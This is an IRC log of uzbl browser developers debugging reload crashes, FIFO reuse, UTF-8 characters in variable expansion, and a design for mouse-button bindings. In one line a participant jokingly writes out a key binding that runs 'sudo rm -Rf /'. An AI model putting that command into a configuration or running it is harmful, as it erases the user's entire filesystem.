23:50 < bct> holizz, does "make tests" succeed?
23:50  * krayon gets segfault on keypress after !reload
23:50 < uranther> bct, success
23:50 < bct> also is it just reloading that breaks? is it ok if you start a new instance?
23:50 < holizz> krayon, The webview-create signal is fired on <a target="blank">, JavaScript, and on context menu.
23:50 < krayon> unfortunately I was pressing my close window keystroke at the time so I closed the wrong window :(
23:51 < uranther> reload works fine here
23:51 < krayon> holizz: RIGHT! Got you, thanks :)  Wasn't sure what it's point was :P
23:52 < holizz> bct, make tests gives me all OKs. And yes, just reloading. I imagine it's a variable callback that doesn't like being called twice, like icon used to.
23:52 < bct> i was not actually aware of reloading, so i didn't test it.
23:55 < bct> i'm guessing keycmd or insert_indicator are at fault.
23:55 < bct> those are the major ones that i added iirc
23:55 < uranther> should ./uzbl -v -c - load a blank window while waiting for a config?
23:55 < uranther> shouldn't it fall-back to a default config
23:55 < uranther> or sumthzn
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23:56 < holizz> uranther, uzbl has defaults?
23:56 < uranther> guess not :>
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23:59 < lbt> hi; I'm working on a mobile platform OS and saw uzbl on lwn. Wondering about it as a browser for small devices.
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00:00 < lbt> 2 thoughts: given the ability to be 'controlled' I thought it may support touch and gesturing; additionally I thought it may have a smaller footprint
00:00 < krayon> lbt: It's size is probably dependent on webkit mostly.
00:01 < lbt> so we run tear and midori at the moment (both webkit if I'm not mistaken)
00:01 < krayon> It has a gtk dependency as well.
00:01 < krayon> lbt: Yeah midori is, don't know about tear.
00:01 < krayon> but if that's OK then yeah it's small. :)
00:01 < lbt> platform is Mer BTW (maemo based)
00:02 < lbt> hmm, if anything we're moving towards Qt and away from gtk
00:03 < lbt> anywhere to get an ubuntu packaged snapshot?
00:03 < krayon> You could probably wrap it in that instead.
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00:03 < uranther> bct, what is Line 244? char *end_simple_var = ...
00:03 < krayon> It's only needed for webkit so you could swap it out to QT.
00:04 < uranther> i spy unicode characters
00:04 < holizz> lbt, It doesn't take ten minutes to create an uzbl-inspired browser. Everybody's doing it.
00:04 < lbt> heh
00:04 < lbt> I'm on arm... it'll take > 10 mins
00:05 < bct> uranther, nah that's all ascii isn't it?
00:05 < krayon> lbt: I would say that you can take uzbl and add, or midori and remove.
00:05 < uranther> bct, i get superscript and fraction characters
00:05 < bct> those are characters that are recognized as the end of a variable name in expansion
00:05 < uranther> bct, also, do you not use GScanner anymore?
00:06 < bct> no, gscanner is gone.
00:06 < uranther> k
00:06 < uranther> i'm going to clean up some gscanner stuff then
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00:06 < krayon> lbt: uzbl's major strength imho is it's configurability but that's probably something that's not really needed so much for your needs.
00:06 < bct> ah, superscript and fractions aren't ascii
00:07 < bct> but they are ansi
00:07 < bct> all still just one byte per character.
00:07 < lbt> well, the end users may not want to configure it
00:07 < holizz> bct, WRONG!
00:07 < bct> that was there before my stuff though.
00:07 < holizz> They're UTF-8.
00:07 < holizz> I checked.
00:07 < lbt> but the idea of a touch-friendly bookmarker
00:07 < lbt> and other touch friendly ancilliareis
00:08 < lbt> could be interesting
00:08 < lbt> plus we could integrate into a persistent platform database
00:08 < bct> holizz, e.g. ¼ is value 188
00:08 < bct> which is UTF-8, but it's also ANSI: http://www.newcastle.edu.au/service/library/endnote/images/ANSI%20codes.gif
00:09 < holizz> bct, My Jabber transport can't render that properly :(.
00:09 < lbt> we have contacts databases - linking bookmarks to contacts is interesint
00:09 < holizz> But I mean that it's encoded as UTF-8.
00:09 < krayon> lbt: I guess your problem will be that a lot of stuff doesn't already exist in uzbl as it relies on external scripts etc
00:09 < krayon> That's some weird A and a half for me :P
00:10 < krayon> ...anyway, 8am here and I've got to be up soon... I'm going to bed :D
00:10 < krayon> Night y'all.
00:10 < lbt> thanks
00:10 < holizz> bct, In the case of these characters: 1 character = 2 bytes.
00:10 < holizz> Night.
00:10 < bct> ooh, right you are.
00:10 < bct> are they actually encoded that way in uzbl.c?
00:11 < holizz> bct, Yes. If you want to check, use xxd.
00:11 < uranther> http://github.com/uranther/uzbl/commit/03f98d62b3877279c6d8d622c81d228f01a6c7da
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00:12 < holizz> uranther, I take it you didn't see my pull request to the ML.
00:13 < bct> oops, not sure how i overlooked those.
00:13 < bct> are there any gscanner includes that can be removed?
00:13 < holizz> I beat you by a whole 33 minutes ;).
00:13 < uranther> bastard :(
00:13 < uranther> bct, gscanner is a part of glib
00:13 < uranther> no worries, it was just causing a glib assertion error
00:15 < uranther> holizz, i must've been on my way while you patched that :P
00:15 < uranther> way home*
00:15 < uranther> 6:07pm heh
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00:22 < uranther> holizz, bct, are either of you fixing the UTF-8 encoded text?
00:22 < holizz> I'm not.
00:22 < uranther> i was just going to remove the ANSI characters, I guess
00:23 < bct> who does git blame say put them there?
00:23 < uranther> er, dunno how to do that heh. lemme check
00:24 < holizz> Robert Manea.
00:24 < uranther> ^
00:25 < uranther> that's a nifty tool
00:25 < holizz> What was his username again? rob|?
00:26 < holizz> !rob|--
00:26 < bct> heh
00:26 < bct> is it actually doing any harm?
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00:27 < holizz> Who knows? It doesn't affect this latest bug.
00:27 < holizz> And was it you who forgot to remove uzbl.scan, bct?
00:27 < holizz> !bct--
00:28 < uranther> lol..
00:28  * uranther is having troubles with test-COMMIT
00:28 < uranther> there we go
00:29 < bct> yes, after you commit you have to make clean before it works again.
00:29 < bct> i should have fixed that.
00:29 < bct> you can just use uzbl.info.commit or summat.
00:29 < bct> (rather than COMMIT)
00:30 < bct> !bct--
00:30 < uzblbot> bct: Error: You're not allowed to adjust your own karma.
00:30 < holizz> !bct--
00:30 < holizz> As if you can't adjust your own karma.
00:30 < uranther> holizz, try this, crash/kill uzbl, and then run !reload
00:30 < holizz> !uzblbot--
00:31 < uranther> i get a sweet mystery error which I assume relates to the fifo: : 1: cannot create : Directory nonexistent
00:34 < holizz> uranther, This is interesting. The bug goes away when uzbl can't create a FIFO/socket.
00:35 < holizz> I get these two errors: ** (uzbl:14981): WARNING **: init_fifo: can't create /tmp/uzbl_fifo_33554464: file exists ... and ... : : No such file or directory
00:35 < uranther> i think because cat can't find the file.. now try, :sh "echo $4"
00:35 < uranther> it will print nothing
00:35 < holizz> Oh yeah, of course.
00:37 < uranther> holizz, do you have a solution for the FIFO problem? we can't unlink the fifo if it exists because another instance of uzbl might still be using it. an ideal solution would be to reattach to the fifo but I don't know if that's possible?
00:39 < holizz> uranther, You could store my knowledge about sockets in 1 bit.
00:39 < uranther> :)
00:39 < uranther> to google we go
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01:14 < uranther> holizz, bct, can you review this code? http://gist.github.com/149331
01:17 < uranther> maybe attach_fifo should not return anything :/ the way it handles return FALSE on error seemed iffy to me
01:23 < holizz> It seems to work well enough, in that I can reproduce that reload bug and it doesn't have any warnings.
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01:26 < uranther> excellent
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02:25 < holizz> !uzblbot--
02:26 < holizz> Good night.
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09:28 < Dieterbe> good morning bitchiiiz
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09:32 < bct> hello hello
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09:34 < github> uzbl: Tom Adams experimental SHA1-7dc53b3
09:34 < github> uzbl.scan RIP.
09:34 < github> http://bit.ly/wltIH
09:34 < github> uzbl: Dieter Plaetinck experimental SHA1-771e509
09:34 < github> Merge commit 'holizz/new_experimental' into experimental
09:34 < github> http://bit.ly/UogrF
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09:57 < holizz> Dieterbe, Did you notice the new bug? It's very exciting.
09:59 < bct> holizz, do you have a custom insert_indicator and/or command_indicator in your config file?
09:59 < Dieterbe> well i just read the log between when i went to sleep yesterday and now. seems like you guys found several issues
09:59 < holizz> bct, Nope. I just copy/pasted from the new config file.
10:00 < bct> hmm. i couldn't duplicate it without a set something_indicator in my config
10:01 < Dieterbe> lbt: tear browser looks pretty good for a mobile platform, no? remember uzbl is not meant to be lightweight. it's meant to provide ultimate control
10:03 < holizz> set insert_indicator = I
10:03 < holizz> set command_indicator = C
10:03 < bct> ah, but you do have them explicitly specified
10:05 < bct> i just pushed a patch to bct/clean
10:06 < bct> it should fix the issue with !reload and *_indicator
10:06 < bct> please test?
10:07 < holizz> Yep. Works for me.
10:07 < lbt> Dieterbe: tear is great!
10:08 < lbt> I was wondering about the integration opportunities for uzbl
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10:09 < lbt> AFAUI I could replace movement handlers etc? (panning, clicking)
10:09 < bct> kk i'll send a pull request to the list
10:09 < Dieterbe> bct / holizz i think we should put a few more default things in config.h
10:09 < Dieterbe> such as those indicators
10:10 < bct> default values for the indicators are specified in the initialization
10:10 < bct> initialize(), now.
10:10 < bct> is that what you mean?
10:11 < Dieterbe> sort of. what i mean is i don't like the fact we put some defaults in the source of uzbl.c itself
10:11 < Dieterbe> that's what config.h is for
10:11 < bct> aah, ok
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10:13 < bct> Dieterbe, what do you think of doing variable expansion in binds?
10:13 < bct> maybe replacing e.g. $6 with @uri
10:14 < bct> i guess that works for sh but not spawn
10:16 < Dieterbe> what do you mean? with spawn we already auto-add a bunch of variables
10:16 < bct> well for example i've got:
10:17 < bct> bind    O     = sh 'echo "keycmd o$6" > "$4"'
10:17 < bct> $6 and $4 are a bit cryptic, it might be nice to use @uri and @FIFO_PATH instead
10:17 < Dieterbe> lbt: btw maemo doesn't support phone stuff (making/receiving calls/sms'es) right?
10:18 < lbt> well
10:18 < lbt> maemo itself doesn
10:18 < lbt> t
10:18 < lbt> but maemo will come with this kind of library in the next release we think
10:19 < lbt> the next device is possibly a phone (N900)
10:19 < lbt> "maemo" is a nebulous term for "all the sw on the device"
10:20 < lbt> connman and ofono aren't 'maemo' as such
10:21 < Dieterbe> lbt: whoa the n900 looks pretty much what i need (a personal organizer/MID with phone capabilities _and_ very hackable)
10:21 < lbt> yep
10:21 < lbt> the PIM aspect hasn't been strong historically
10:22 < lbt> in Mer we're backporting the open parts of N900/fremantle to N8x0/770/Freerunner/etc
10:22 < Dieterbe> bct: why wouldn't it work for spawn? it looks to me that with a few 1-line changes here and there, we can add expand() capabilities to several commands which is really good i think
10:23 < bct> spawn's arguments are passed implicitly right?
10:24 < bct> i'm not familiar with nseries phones, they run linux?
10:24 < bct> that i can have root on?
10:25 < Dieterbe> yeah, but i think we could even leave that away once we have expand capabilities
10:25 < Dieterbe> bct: that's the problem N* currently are no phones
10:25 < Dieterbe> err sorry
10:25 < Dieterbe> i mean n800 n810 etc
10:25 < Dieterbe> n97 etc are phones
10:25 < bct> aah, gotcha
10:25 < bct> they're just tablets
10:25 < Dieterbe> the phones use symbian, the tablets use maemo (very hackable) but you can't call with them
10:26 < Dieterbe> the n900 would be the perfect combination
10:26 < bct> phone companies are the worst :(
10:28 < Dieterbe> anyway
10:28 < lbt> heh, Nokia seem to be the best
10:28 < lbt> feel free to pop into #mer or #maemo BTW
10:44 < holizz> Uhm. I think taking the first argument as the URI has stopped working.
10:46 < bct> seems to have, yup
10:46 < bct> maybe due to robm's geometry stuff that got pulled into my branch?
10:48 < bct> or maybe due to the main() -> initialize() rearrangement that was needed for the tests
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10:49 < Rotwang> hi
10:49 < Rotwang> are there any screenshots?
10:51 < holizz> Rotwang, http://www.uzbl.org/wiki/shots
10:51 < Rotwang> kthx
10:51 < Dieterbe> and uzbl.org
10:52 < Rotwang> true i didnt scroll down [;
10:52 < holizz> What's the purpose of uri_override? It seems to take its value from uzbl.state.uri and then set uri to that value.
10:53 < Rotwang> thanks, looks like nice alternative for failfox ;D
10:53 < bct> holizz: i believe it is so that the value set by -u isn't overwritten by any value that was set in the config file
10:54 < bct> so it should go uri_override = x; load_config(); state.uri = uri_override;
10:54 < holizz> Aha.
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11:03 < github> uzbl: Brendan Taylor experimental SHA1-187b76b
11:03 < github> call set_mode_indicator after updating the whatever_indicator setting
11:03 < github> http://github.com/Dieterbe/uzbl/commit/187b76b94c8878709f0a88fd244e77858c1063e5
11:03 < github> uzbl: Brendan Taylor experimental SHA1-928fc65
11:03 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into clean
11:03 < github> http://github.com/Dieterbe/uzbl/commit/928fc65c34e8360e7019f4181530377cc6374432
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11:12 < Dieterbe> holizz / bct so are still some issues that should be fixed after all the merging?
11:13 < Dieterbe> i read something about character encodings?
11:13 < holizz> Hmm. I think it's just this uzbl [uri] patch you need now.
11:15 < holizz> Sent to ML.
11:16 < holizz> I found an interesting bug (WebKit, I think). If one form field is selected, and you right-click paste in a different one, it pastes it into the selected one.
11:18 < bct> i think the character encoding thing is mostly harmless. it can be solved by deleting the characters from end_simple_var
11:18 < bct> but maybe robm had a good reason for putting them there
11:20 < Dieterbe> what's the issue with the character encoding?
11:20 < Dieterbe> also what's this about? http://gist.github.com/149331
11:21 < bct> end_simple_var is used to determine where the end of a variable is
11:21 < bct> so that if you've got @uri.xxx it knows what's a variable and what's not
11:22 < bct> but end_simple_var contains some 2-byte UTF-8 characters
11:22 < holizz> I think it could be problematic, as the man page for strpbrk doesn't hint at any UTF-8 support.
11:23 < holizz> Dieterbe, That gist is a patch to do something about the dangling FIFO/socket problem. Seemed to work.
11:23 < Dieterbe> why don't we just say "variables can only contain a letter, or a '_'" ? eg use a whitelist instead of a blacklist to find the end of a variable
11:23 < bct> yeah, so depending on what the exact sequence of bytes for 1/2, etc. is it cause variables to be expanded incorrectly
11:24 < holizz> Dieterbe, That sounds like a good rule.
11:24 < bct> agreed
11:25 < Dieterbe> oh, so we really do have a bug with variable expansion then
11:25 < Dieterbe> do we know which variablenames are affected?
11:26 < Dieterbe> or do we just stop worrying about it and do the whitelist thing
11:27 < bct> i haven't seen any that are affected. i think it would manifest itself by expanding to an empty string (since the variable wouldn't exist) and leaving part of the variable name left over.
11:28 < bct> http://gist.github.com/149331
11:28 < bct> sorry didn't mean to paste that
11:29 < bct> i would fix it right now but it's 3.30 right now and i've had quite a bit to drink
11:29 < bct> :)
11:29 < Dieterbe>  bct> i haven't seen any that are affected. i think it would manifest itself by expanding to an empty string (since the variable wouldn't exist) and leaving part of the variable name left over <-- yeah something like that
11:30 < bct> it looks like strspn can be used to do a whitelist
11:31 < Dieterbe> yep, if you try to expand a non-existing variable you get an empty string and no error
11:31 < Dieterbe> just tried that
11:33 < bct> yup.
11:34 < Dieterbe> what's the purpose of http://gist.github.com/149331 ? it just tries to do it twice? why would it work the 2nd timeL?
11:37 < holizz> It's not doing anything twice, as far as I can see.
11:37 < holizz> If file doesn't exist, create then connect, if file does exist, connect.
11:37 < holizz> Rather than the current behaviour of if file doesn't exist: create then connect, if file does exist: fail.
11:39 < Dieterbe> well, the current behaviour is more in line with our current philosphy
11:39 < holizz> How does uzbl arrive upon that large number it uses to name all the sockets?
11:39 < Dieterbe> Xorg window id
11:39 < holizz> Ah.
11:40 < Dieterbe> but it can be an arbitrary string if user does: uzbl -n my-name
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11:41 < Dieterbe> so the user might accidentally start 2 uzbl's with the same name, in which case the 2nd instance should fail, not try to listen of the already existing file that might be in use by another instance
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11:43 < Dieterbe> imho uzbl should abort if a fifo/socket already exists
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11:47 < holizz> Dieterbe, That would be so annoying if you're opening uzbl from uzbl or some other process that isn't the shell.
11:47 < Dieterbe> why?
11:47 < holizz> Because you'd try to open something in a new window, and you'd get no feedback.
11:54 < Dieterbe> well then you implement a script that checks uzbl's exit code and gives you feedback, if that's what you want
11:56 < Dieterbe> besides, the case where you have name collisions should be avoided anyway
11:56 < Dieterbe> it's not like you're gonna run in that situation every day
12:02 < krayon> yeah fail for the ... win
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12:03 < krayon> Regardless trying to reconnect when it finds one is not a good idea.
12:03 < krayon> IMHO.
12:03 < krayon> I would wrap uzbl in a script that confirms clean shutdown and rm's fifos if not
12:03 < krayon> After all this only happens on a crash no?
12:05 < Dieterbe> yeah
12:05 < Dieterbe> or a daemon that periodically does 'print @version' or something on all sockets it finds in the dir, and if it gets no answer after x amount of seconds, removes the socket
12:08 < krayon> Yeah ... except polling is evil (hence xmms2 > mpd)
12:09 < bct> well the sun is coming up, that's my cue to go to bed
12:09 < bct> night guys
12:09 < krayon> bct: Know the feeling :P  Night.
12:11 < holizz> Good night.
12:11 < Dieterbe> good night bct 
12:13 < holizz> Dieterbe, RE taking argv[1] as the URI: I think it stopped working after I pulled your truck-load of changes yesterday. It probably got forgotten in the things that were done with initialize.
12:14 < Dieterbe> holizz: then how do you explain those lines are not in master?
12:16 < holizz> The latest commit in your master is July 03. The commit that introduced the functionality was dated July 07.
12:17 < Dieterbe> which sha1 was that?
12:17 < holizz> c3bbce42762ed8e4409ab2552e2efeee95518425
12:21 < Dieterbe> oh right. i confused with "-u should override uri set in config file" with "uzbl <uri goes here>" patch
12:25 < Dieterbe> merged
12:25 < krayon> I just called Paypal
12:26 < krayon> Tell them their website sucks
12:26 < krayon> Bastards
12:28 < Allive> hi, i've just updated uzbl-experimental, i now i have a question:
12:28 < Allive> how can i set clearance in "set insert_indicator" ?
12:28 < Allive> whis code doesn't work:
12:28 < Allive> set insert_indicator  = <span background="#212121" foreground="red">[Ins]</span>
12:36 < holizz> Allive, I have a solution for you. You're using the latest version, right?
12:36 < Allive> yes
12:36 < holizz> \@[\@MODE]\@ -> remove those []
12:37 < holizz> The [] prevent their contents from being parsed as Pango markup.
12:37 < holizz> In fact, you can just write \@MODE, without the extra \@s.
12:37 < Allive> okay
12:38 < Allive> but i want to set defined (red) color for insert mode
12:39 < Allive> i want to define color in set insert_indicator
12:39 < holizz> Oh, that should work... just foreground="\@MODE" ...?
12:41 < holizz> Just tried it. Works fine.
12:42 < Allive> hm
12:42 < Allive> i'm stupid i guess
12:42 < holizz> Did you get it working?
12:43 < Allive> can you write here working string &
12:43 < Allive> ?
12:43 < Allive> set  insert_indicator=
12:43 < holizz> set insert_indicator = red
12:43 < holizz> set command_indicator = black
12:45 < Allive> and the color will change ??
12:45 < holizz> Yes.
12:46 < holizz> http://www.uzbl.org/wiki/configtricks
12:47 < holizz> Allive, Have you updated your config for the new version? There were some big changes to the status_format syntax merged in yesterday.
12:48 < Allive> yes
12:49 < holizz> Hmm. It ought to work.
12:49 < Allive> but i still don't understand something
12:50 < Allive> now it means that i couldnt set differnt word(cmd|ins) and different color for command adn ins mode ?
12:50 < krayon> Allive: This works for me: http://datapax.com.au/upload/files/uzbl.config
12:52 < Allive> Oh, thanks
12:52 < Allive> now i understand +)
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13:24 < mason-l> bct, krayon: Ok, I've finally set my new_window command and I get this in the dump: set new_window = sh "echo \"new \\"$8\\"\" > \"/tmp/uzbltabbed_24065\""
13:25 < mason-l> However I also get this message ": -c: line 0: unexpected EOF while looking for matching `"' : -c: line 1: syntax error: unexpected end of file"
13:25 < mason-l> :S
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13:26 < mason-l> krayon, Did you get that message?
13:26 < krayon> mason-l: I got nothing after: <Allive> now i understand +)
13:26 < krayon> :(
13:26 < mason-l> <mason-l> bct, krayon: Ok, I've finally set my new_window command and I get this in the dump: set new_window = sh "echo \"new \\"$8\\"\" > \"/tmp/uzbltabbed_24065\""
13:26 < mason-l> <mason-l> However I also get this message ": -c: line 0: unexpected EOF while looking for matching `"' : -c: line 1: syntax error: unexpected end of file"
13:26 < mason-l> <mason-l> :S
13:26 < mason-l> So it looks valid but something still wrong with the parser.
13:27 < mason-l> (Not to mention the escape spaghetti I needed to finally set that "correctly")
13:50 < krayon> mason-l: That's nasty :( I haven't tested that stuff much myself, the comments I made to you were based on a quick skim through that section of code.
13:50 < krayon> I'll try it out myself though, see how I go :P
13:52 < mason-l> krayon, Nice thanks.
13:58 < lwithers> does anybody else have problems with images on wikipedia loading?
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14:16 < Allive> i haven't
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14:47 < krayon> oooo, you can type make in gdb :D
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14:57 < holizz> "I have experience working in a team from group projects at university and from working on an open source Web browser with approximately 35 other developers."
14:57 < holizz> Ohloh's factoiods for fun and profit.
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15:14 < krayon> My favorite book of all time is "The C Programming Language" (Prentice Hall)
15:15 < krayon> just thought I'd tell you that ... :D
15:15 < mason-l> I loved that book.
15:15 < mason-l> I've got a copy at home.
15:15 < mason-l> I am at home.
15:15 < mason-l> I have a copy :)
15:15 < krayon> Is awesome yes :)
15:15 < krayon> Interestingly it's still $45.81 on amazon.
15:15 < mason-l> Though Python still dominates my world.
15:16 < krayon> 2nd edition too, same as my 1996 copy.
15:16 < mason-l> I was 7 in 1996.
15:16 < krayon> :o
15:16  * krayon feels old
15:16 < krayon> I was 16
15:17 < holizz> I was 10.
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15:17 < krayon> As time goes on, I appear to me moving up the "oldest guy in the channel" ladder :/
15:18 < krayon> There was a time ... back in my day ;) ... when I was the youngest :'(
15:18 < krayon> Mortality's a bitch
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16:32 < krayon> lwithers: It would appear, I have issues with images who's name contains a space
16:33 < krayon> Maybe that's what your issue was
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16:37 < lwithers> krayon: don't think so (see http://www.lwithers.me.uk/tmp/ two images there)
16:38 < krayon> yeah i see that... it might be if they are not referenced correctly or something perhaps though
16:38 < krayon> hmm
16:38 < lwithers> it seems for me to be every image on wikipedia though, so I suspect it's something rather more fundamental
16:38 < krayon> maybe not.
16:38 < lwithers> more likely to be the way I've compiled one of the libs or so
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17:04 < krayon> !bct++
17:05 < krayon> almost got complete vimperator styles goin' on :D
17:10 < Dieterbe> hm?
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17:17 < krayon> bind o _ = set uri = %s
17:17 < krayon> bind O = set keycmd = o @uri
17:17 < krayon> :D
17:21 < krayon> holizz: Did you try out the percentage scroll thingy?
17:21 < krayon> And did it work for you?
17:21 < krayon> Still doesn't for me :(
17:22 < holizz> krayon, I got it working with a binding, but I haven't tried to make it work properly.
17:22 < krayon> Could be my franken-config :/
17:26 < holizz> WTF? I changed my load_finished_handler so it didn't contain "set status_message = done"... but it's still setting the status_message to "done".
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17:28 < holizz> Hmm, it's working now.
17:28 < holizz> Yeah, the script works.
17:29 < Rotwang> novice question
17:29 < krayon> DAMNITI!
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17:30 < holizz> krayon, Share your config.
17:30 < Rotwang> if i start new uzbl via open in new window, how can i send commands to that window?
17:30 < krayon> Rotwang: If you use a wrapper script you can determine the fifo and send commands directly through there.  I'm sure the new_window probably has a better way though.
17:30 < krayon> holizz: ? Well, does it?
17:31 < krayon> holizz: Punk.
17:31 < krayon> holizz: :P
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17:31 < Rotwang> krayon: but i have one fifo and two windows 0o
17:31 < holizz> krayon, Nope. It just executes what you give it.
17:31 < Rotwang> or not
17:31 < krayon> Each window should have a fifo of it's own
17:33 < Dieterbe> 17:17:19 < krayon> bind o _ = set uri = %s
17:33 < Dieterbe> 17:17:32 < krayon> bind O = set keycmd = o @uri
17:33 < Dieterbe> nice one
17:33 < Rotwang> krayon: true, thanks
17:33 < krayon> holizz: http://www.datapax.com.au/upload/files/uzbl.config
17:34 < krayon> Dieterbe: Hence the !bct++
17:34 < krayon> Dieterbe: :P I'm going to put up a vimperator config on the wiki me thinx
17:34 < krayon> holizz: Scary is my config :P
17:35 < Rotwang> ok, ive got one more question. Can I minimize or "defocus" a window?
17:35 < Rotwang> via command?
17:35 < krayon> Rotwang: That'd be up to your window manager I would think
17:35 < krayon> Rotwang: Check out wmctrl, it allows for controlling windows
17:36 < Rotwang> sure
17:36 < krayon> Rotwang: As long as you have the window's ID (fifo name's based on that too) you can easily tell it to do anything :D
17:36 < Rotwang> nice
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17:37  * krayon considers a bind that'll open a window and then refocus the original ... like a "open in new (unfocused) tab"...
17:37 < krayon> holizz: What I don't understand is as long is runs it should hook the scroll etc
17:38 < krayon> holizz: From what I understand of the JavaScript that is.
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17:44  * Dieterbe slaps krayon 
17:44 < Dieterbe> i sent you a msg on github a while ago
17:44 < krayon> eh?
17:45  * krayon looks
17:45 < krayon> ah I see yes.
17:46 < krayon> Well, atm, my changes are done in such a was as to be easiest to "patch".
17:46 < krayon> If there were to be merged, they would be done differently.
17:46 < krayon> Plus my way of doing it is fairly crap
17:46 < krayon> and not as good as what someone was suggesting (for example my suport for special keys etc)
17:47 < krayon> Oh, and I don't know any Andy :)
17:47 < Dieterbe> ok
17:47 < krayon> I just started hacking on uzbl as soon as I found it :P
17:47 < krayon> I can put something out there I guess and others can then improve on it.
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17:48 < krayon> I'm really not happy with the special keys stuff though atm
17:48 < Dieterbe> i haven't even looked at your code, ever so no idea what you did
17:48 < krayon> I just have it hooked and then it inserts the data directly into the keycmd
17:49 < krayon> so typing: <mouse8> will yeild the exact same result
17:49 < Dieterbe> and what can you do with that?
17:49 < krayon> atm I have <link-mouse[1-9]>, <mouse[1-9]>, the wheel stuff, and support for <super>, <mod3> etc
17:49 < Dieterbe> i mean, what happens after yo put it in the keycmd
17:50 < krayon> bind <link-mouse1>_ = do stuff %s
17:50 < krayon> then, when you left-click a link it'll "do stuff" with the link %s
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17:50 < krayon> atm they override but i'm not sure if that's frexible enough.
17:51 < krayon> It only overrides if they aren't bound obviously.
17:52 < krayon> It's changed considerably since the bct mods however
17:52 < Dieterbe> it sounds pretty cool to me
17:52 < krayon> As I say, I'm not 100% happy as it's still limited in ways.
17:53 < krayon> Also, I don't know what to call them and/or how to represent them in the config
17:53 < krayon> Do you think "<mouse1<" "<wheelleft>" etc is good enough?
17:53 < Dieterbe> did you mean <mouse1> ?
17:53 < krayon> yeah :P
17:53 < Dieterbe> i don't see what the problem is
17:54 < krayon> And what of links, atm I've got <link-mouse1>
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17:55 < krayon> I figure there would actually be 3: <mouse1> <link-mouse1> <status-mouse1> (for each button and wheel of course)
17:55 < krayon> So, status mouse1 could be "copy link to clipboard"
17:55 < Dieterbe> hold on a sec
17:55 < Dieterbe> what's the difference between  <mouse1> <link-mouse1> <status-mouse1> ?
17:56 < Dieterbe> i mean the mouse has only 1 button1 ?
17:56 < krayon> mouse1 = you clicked the page NOT on a link
17:56 < krayon> link-mouse1 = you clicked the page ON a link
17:56 < krayon> status-mouse1 = you clicked on the status bar
17:57 < Dieterbe> well, that sounds cool
17:58 < Dieterbe> but just a tad inflexible
17:58 < Dieterbe> it would be cooler if it would always generate <mouse1> and then in the handler you could check where you clicked
17:58 < krayon> Do you think there'd be a need for a pass through option too (whereby you could "bind <link-mouse1> = do stuff" but still have the mouse1 click go to webkit (so it'd still follow a link for example))
17:58 < Dieterbe> but that would be more complicated..
17:59 < krayon> Dieterbe: The issue with that .... well, that might be doable...
17:59 < krayon> I'm not sure though as atm the stuff that get's passed along is fairly generic no?
17:59 < krayon> And it would involve passing some extra data along.
17:59 < Dieterbe> krayon: passthrough: can we trigger these functions as a user? something like : chain 'do stuff %s' 'webkit_function_here', i guess not?
18:00 < Dieterbe> krayon: yeah ok just keep it like that
18:00 < krayon> Nothing stops you from: bind <mouse1> mouse1script.sh 1 page ; bind <link-mouse1> mousescript.sh 1 link %s ; etc
18:00 < krayon> s/mouse1script/mousescript/
18:01 < krayon> the passthrough issue is only really a problem with mouse1 and the wheels (at least atm)
18:02 < krayon> for example, if you wanted wheeldown on the page to copy the URL AND scroll, you have to chain them (using scroll_vert)
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18:03 < krayon> because having wheeldown bound, means it's captured and stolen from webkit.
18:03 < krayon> At least that's the way it works right now.
18:03 < Dieterbe> yeah so? my point was : _if_ you can call webkit functions arbitrarily, you don't need the explicit passthrough, if the user wants it, he can chain it
18:04 < krayon> true. ATM there AREN'T any real webkit actions that you can't already do
18:04 < krayon> Oh, except the context-menu actually.
18:04 < krayon> If you override mouse3 and/or link-mouse3 you loose your context menu
18:05 < Dieterbe> maybe we just need functions to trigger all those "manually" :0
18:05 < krayon> if you allowed the webkit mouse2 to pass through for example, and assigned link-mouse2 to open a new window, you'd actually visit the destination site in the originating window too
18:05 < krayon> so in that case, mouse2 is fairly useless anyway :P
18:05 < krayon> Yeah, true the ability to do that would be good.
18:07 < krayon> It's is doable.  And if we did that, then (at least atm) we could generate all of webkit's default actions for all the mouse buttons, wheels etc faithfully from the config.  This would alleviate the need for a seperate <mouse1passthru> or whatever.
18:08 < Dieterbe> yup
18:08 < krayon> obviously if they change webkit in future and make middle-click change the background to magenta we can't necessarily do that (hence my "at least atm")
18:08 < Dieterbe> although <mouse1passthru> doesn't sound that bad? maybe it's less work that way
18:08 < krayon> well, not really except for mouse3 of course :P
18:09 < krayon> No work at all for the rest as we already have the URI captured and scroll_vert.
18:10 < krayon> I mean, either way it's 2 lines of code to have it in.
18:10 < krayon> I would probably leave it out if it can be done (just to limit the number of <*mouse*> bindings :P)
18:10 < Dieterbe> 2 lines to have what in?
18:10 < krayon> <*passthru>
18:11 < krayon> Well, actually 4 in total I think.
18:13 < Dieterbe> to do what?
18:13 < Dieterbe> oh the <*passthru> ?
18:13 < krayon> Yen.
18:13 < krayon> s/n/s/
18:13 < krayon> although... 4 yen ... :P
18:15 < krayon> So you'd get: <mouse[1-9]>, <mouse[1-9]passthru>, <link-mouse[1-9]>, <link-mouse[1-9]passthru>, <wheel[up|down|left|right]>, <wheel[up|down|left|right]passthru>, <link-wheel[up|down|left|right]>, <link-wheel[up|down|left|right]passthru>, <status-mouse[1-9]>, <status-mouse[1-9]passthru>, <status-wheel[up|down|left|right]>, <status-wheel[up|down|left|right]passthru>
18:15 < krayon> I think that's it.
18:16 < Dieterbe> hmmm, are there actually that many webkit actions we cannot "artificially perform" ? i mean we have scroll_, we can open uzbls in new windows, change page etc
18:16 < krayon> Oh and you could combine with mods: bind <super><mod1><ctrl><link-mouse1passthru> = sudo rm -Rf /
18:17 < krayon> that's what I was saying yeah, atm there's ONLY the context-menu for page and link
18:17 < krayon> At least as far as I know they are the only thing it does with the mouse that we can't.
18:18 < Dieterbe> maybe we should look up how to do it :)
18:18 < krayon> my mod implementation atm doesn't support chaining either btw
18:20 < Dieterbe> hm? chaining is something "on the right side of the experission", what does your stuff have to do with that?
18:21 < krayon> Oh, I mean as in states or whatever
18:22 < Dieterbe> what?
18:22 < krayon> Like as soon as you press a non-mod, it's processed as whatever mods you are holding down and that key
18:25 < holizz> http://w3.org/favicon.ico -> the sneaky bastards are showing their hatred for the favicon non-standard by breaking my favicon.py implementation.
18:26 < krayon> :P
18:26 < krayon> holizz: Does it support only MS ICO files or can it do bmp, png etc too?
18:26 < holizz> krayon, It can do anything GTK supports.
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18:26 < krayon> ah. nice.
18:27 < holizz> But obviously it can't render zero-length files.
18:29 < lwithers> ah, did w3 implement an lzip compressor?
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19:25 < github> uzbl: Tom Adams experimental SHA1-3ec3fb5
